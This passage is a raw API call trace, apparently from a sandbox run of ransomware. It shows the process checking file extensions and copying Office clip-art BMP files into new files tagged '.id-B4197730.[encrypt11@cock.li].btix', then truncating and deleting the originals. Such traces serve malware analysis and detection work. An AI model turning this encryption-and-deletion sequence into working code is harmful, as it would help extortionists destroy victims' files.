[0151.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0151.107] lstrlenW (lpString=".zip") returned 4 [0151.107] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.107] lstrlenW (lpString=".rar") returned 4 [0151.107] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.107] lstrlenW (lpString=".bz2") returned 4 [0151.107] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.107] lstrlenW (lpString=".7z") returned 3 [0151.107] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0151.107] lstrlenW (lpString=".dbf") returned 4 [0151.107] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0151.107] lstrlenW (lpString=".1cd") returned 4 [0151.107] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0151.107] lstrlenW (lpString=".jpg") returned 4 [0151.107] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0151.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0151.107] lstrlenW (lpString=".doc") returned 4 [0151.107] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.107] lstrlenW (lpString=".docx") returned 5 [0151.107] lstrcmpiW (lpString1=".docx", lpString2="6.BMP") returned -1 [0151.107] lstrlenW (lpString=".pdf") returned 4 [0151.107] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.107] lstrlenW (lpString=".xls") returned 4 [0151.107] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.108] lstrlenW (lpString=".xlsx") returned 5 [0151.108] lstrcmpiW (lpString1=".xlsx", lpString2="6.BMP") returned -1 [0151.108] lstrlenW (lpString=".ppt") returned 4 [0151.108] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0151.108] lstrlenW (lpString=".zip") returned 4 [0151.108] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.108] lstrlenW (lpString=".rar") returned 4 [0151.108] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.108] lstrlenW (lpString=".bz2") returned 4 [0151.108] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.108] lstrlenW (lpString=".7z") returned 3 [0151.108] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0151.108] lstrlenW (lpString=".dbf") returned 4 [0151.108] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0151.108] lstrlenW (lpString=".1cd") returned 4 [0151.108] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.108] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101856.BMP") returned 68 [0151.108] lstrlenW (lpString=".jpg") returned 4 [0151.108] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.108] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0151.108] lstrlenW (lpString="J0101857.BMP") returned 12 [0151.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.109] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=32184) returned 1 [0151.109] CloseHandle (hObject=0x348) returned 1 [0151.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 0x220 [0151.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.109] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.109] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0151.111] GetLastError () returned 0x0 [0151.111] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0151.112] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0151.113] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.113] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.114] SetEndOfFile (hFile=0x378) returned 1 [0151.114] CloseHandle (hObject=0x378) returned 1 [0151.114] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.114] SetEndOfFile (hFile=0x348) returned 1 [0151.115] CloseHandle (hObject=0x348) returned 1 [0151.115] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.115] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101857.bmp")) returned 1 [0151.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0151.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0151.115] lstrlenW (lpString=".doc") returned 4 [0151.115] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.115] lstrlenW (lpString=".docx") returned 5 [0151.115] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0151.116] lstrlenW (lpString=".pdf") returned 4 [0151.116] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.116] lstrlenW (lpString=".xls") returned 4 [0151.116] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.116] lstrlenW (lpString=".xlsx") returned 5 [0151.116] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0151.116] lstrlenW (lpString=".ppt") returned 4 [0151.116] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0151.116] lstrlenW (lpString=".zip") returned 4 [0151.116] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.116] lstrlenW (lpString=".rar") returned 4 [0151.116] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.116] lstrlenW (lpString=".bz2") returned 4 [0151.116] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.116] lstrlenW (lpString=".7z") returned 3 [0151.116] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0151.116] lstrlenW (lpString=".dbf") returned 4 [0151.116] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0151.116] lstrlenW (lpString=".1cd") returned 4 [0151.116] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0151.116] lstrlenW (lpString=".jpg") returned 4 [0151.116] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0151.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0151.117] lstrlenW (lpString=".doc") returned 4 [0151.117] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.117] lstrlenW (lpString=".docx") returned 5 [0151.117] lstrcmpiW (lpString1=".docx", lpString2="7.BMP") returned -1 [0151.117] lstrlenW (lpString=".pdf") returned 4 [0151.117] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.117] lstrlenW (lpString=".xls") returned 4 [0151.117] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.117] lstrlenW (lpString=".xlsx") returned 5 [0151.117] lstrcmpiW (lpString1=".xlsx", lpString2="7.BMP") returned -1 [0151.117] lstrlenW (lpString=".ppt") returned 4 [0151.117] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0151.117] lstrlenW (lpString=".zip") returned 4 [0151.117] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.117] lstrlenW (lpString=".rar") returned 4 [0151.117] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.117] lstrlenW (lpString=".bz2") returned 4 [0151.117] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.117] lstrlenW (lpString=".7z") returned 3 [0151.117] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0151.117] lstrlenW (lpString=".dbf") returned 4 [0151.117] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0151.117] lstrlenW (lpString=".1cd") returned 4 [0151.117] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101857.BMP") returned 68 [0151.118] lstrlenW (lpString=".jpg") returned 4 [0151.118] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.118] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0151.118] lstrlenW (lpString="J0101858.BMP") returned 12 [0151.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.118] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=32184) returned 1 [0151.118] CloseHandle (hObject=0x348) returned 1 [0151.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 0x220 [0151.118] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.118] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.118] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.118] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0151.119] GetLastError () returned 0x0 [0151.119] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x7db8, lpOverlapped=0x0) returned 1 [0151.120] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x7dc0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x7dc0, lpOverlapped=0x0) returned 1 [0151.121] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.121] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.121] SetEndOfFile (hFile=0x378) returned 1 [0151.122] CloseHandle (hObject=0x378) returned 1 [0151.122] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.122] SetEndOfFile (hFile=0x348) returned 1 [0151.122] CloseHandle (hObject=0x348) returned 1 [0151.123] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.123] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101858.bmp")) returned 1 [0151.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0151.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0151.123] lstrlenW (lpString=".doc") returned 4 [0151.123] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.123] lstrlenW (lpString=".docx") returned 5 [0151.123] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0151.123] lstrlenW (lpString=".pdf") returned 4 [0151.123] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.123] lstrlenW (lpString=".xls") returned 4 [0151.123] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.123] lstrlenW (lpString=".xlsx") returned 5 [0151.123] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0151.123] lstrlenW (lpString=".ppt") returned 4 [0151.123] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.123] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0151.123] lstrlenW (lpString=".zip") returned 4 [0151.123] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.124] lstrlenW (lpString=".rar") returned 4 [0151.124] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.124] lstrlenW (lpString=".bz2") returned 4 [0151.124] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.124] lstrlenW (lpString=".7z") returned 3 [0151.124] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0151.124] lstrlenW (lpString=".dbf") returned 4 [0151.124] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0151.124] lstrlenW (lpString=".1cd") returned 4 [0151.124] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0151.124] lstrlenW (lpString=".jpg") returned 4 [0151.124] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0151.124] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0151.124] lstrlenW (lpString=".doc") returned 4 [0151.124] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.124] lstrlenW (lpString=".docx") returned 5 [0151.124] lstrcmpiW (lpString1=".docx", lpString2="8.BMP") returned -1 [0151.124] lstrlenW (lpString=".pdf") returned 4 [0151.124] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.124] lstrlenW (lpString=".xls") returned 4 [0151.124] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.124] lstrlenW (lpString=".xlsx") returned 5 [0151.124] lstrcmpiW (lpString1=".xlsx", lpString2="8.BMP") returned -1 [0151.124] lstrlenW (lpString=".ppt") returned 4 [0151.124] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0151.125] lstrlenW (lpString=".zip") returned 4 [0151.125] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.125] lstrlenW (lpString=".rar") returned 4 [0151.125] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.125] lstrlenW (lpString=".bz2") returned 4 [0151.125] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.125] lstrlenW (lpString=".7z") returned 3 [0151.125] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0151.125] lstrlenW (lpString=".dbf") returned 4 [0151.125] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1 [0151.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0151.125] lstrlenW (lpString=".1cd") returned 4 [0151.125] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1 [0151.125] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101858.BMP") returned 68 [0151.125] lstrlenW (lpString=".jpg") returned 4 [0151.125] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1 [0151.125] lstrcmpiW (lpString1=".BMP", lpString2=".btix") returned -1 [0151.125] lstrlenW (lpString="J0101859.BMP") returned 12 [0151.125] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.125] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x2edff14 | out: lpFileSize=0x2edff14*=31968) returned 1 [0151.125] CloseHandle (hObject=0x348) returned 1 [0151.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 0x220 [0151.126] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0151.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0151.126] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.126] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0151.126] GetLastError () returned 0x0 [0151.126] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x7ce0, lpOverlapped=0x0) returned 1 [0151.453] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0x7cf0, lpOverlapped=0x0) returned 1 [0151.487] ReadFile (in: hFile=0x348, lpBuffer=0x3a09020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesRead=0x2edfecc*=0x0, lpOverlapped=0x0) returned 1 [0151.487] WriteFile (in: hFile=0x378, lpBuffer=0x3a09020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2edfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a09020*, lpNumberOfBytesWritten=0x2edfc94*=0xec, lpOverlapped=0x0) returned 1 [0151.487] SetEndOfFile (hFile=0x378) returned 1 [0151.488] CloseHandle (hObject=0x378) returned 1 [0151.488] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec0 | out: lpNewFilePointer=0x0) returned 1 [0151.488] SetEndOfFile (hFile=0x348) returned 1 [0151.488] CloseHandle (hObject=0x348) returned 1 [0151.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0151.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101859.bmp")) returned 1 [0151.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0151.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0151.489] lstrlenW (lpString=".doc") returned 4 [0151.489] lstrcmpiW (lpString1=".doc", lpString2=".BMP") returned 1 [0151.489] lstrlenW (lpString=".docx") returned 5 [0151.489] lstrcmpiW (lpString1=".docx", lpString2="9.BMP") returned -1 [0151.489] lstrlenW (lpString=".pdf") returned 4 [0151.489] lstrcmpiW (lpString1=".pdf", lpString2=".BMP") returned 1 [0151.489] lstrlenW (lpString=".xls") returned 4 [0151.489] lstrcmpiW (lpString1=".xls", lpString2=".BMP") returned 1 [0151.489] lstrlenW (lpString=".xlsx") returned 5 [0151.489] lstrcmpiW (lpString1=".xlsx", lpString2="9.BMP") returned -1 [0151.489] lstrlenW (lpString=".ppt") returned 4 [0151.489] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1 [0151.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101859.BMP") returned 68 [0151.490] lstrlenW (lpString=".zip") returned 4 [0151.490] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1 [0151.490] lstrlenW (lpString=".rar") returned 4 [0151.490] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1 [0151.490] lstrlenW (lpString=".bz2") returned 4 [0151.490] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1 [0151.490] lstrlenW (lpString=".7z") returned 3 [0151.490] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1 [0151.490] lstrlenW (lpString="C:\\Program 